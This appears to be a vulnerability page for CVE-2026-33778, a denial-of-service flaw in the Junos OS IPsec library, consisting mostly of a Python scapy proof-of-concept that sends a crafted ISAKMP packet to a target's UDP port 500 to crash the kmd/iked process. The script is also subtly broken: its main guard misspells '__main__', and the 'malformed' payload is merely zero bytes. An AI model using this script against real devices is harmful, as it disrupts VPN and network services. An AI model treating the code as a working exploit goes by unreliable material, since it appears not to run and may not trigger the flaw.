CVE-2026-33778 Junos OS IPsec库拒绝服务漏洞

# Proof of Concept for CVE-2026-33778 # This script demonstrates sending a malformed ISAKMP packet. from scapy.all import * import sys def send_malformed_isakmp(target_ip): # Craft ISAKMP header with specific attributes to trigger the crash isakmp_header = ISAKMP() isakmp_header.init_cookie = b"\x00" * 8 isakmp_header.resp_cookie = b"\x00" * 8 isakmp_header.next_payload = 0 isakmp_header.exch_type = 5 isakmp_header.flags = 0 isakmp_header.msgid = 0 isakmp_header.length = 28 # Add arbitrary payload to simulate malformed data payload = Raw(load=b"\x00" * 100) packet = IP(dst=target_ip)/UDP(sport=500, dport=500)/isakmp_header/payload print(f"[*] Sending malformed ISAKMP packet to {target_ip}...") send(packet, verbose=0) print("[+] Packet sent. Check kmd/iked process status.") if __name__ == "____main__": if len(sys.argv) != 2: print("Usage: python3 poc.py <target_ip>") sys.exit(1) send_malformed_isakmp(sys.argv[1])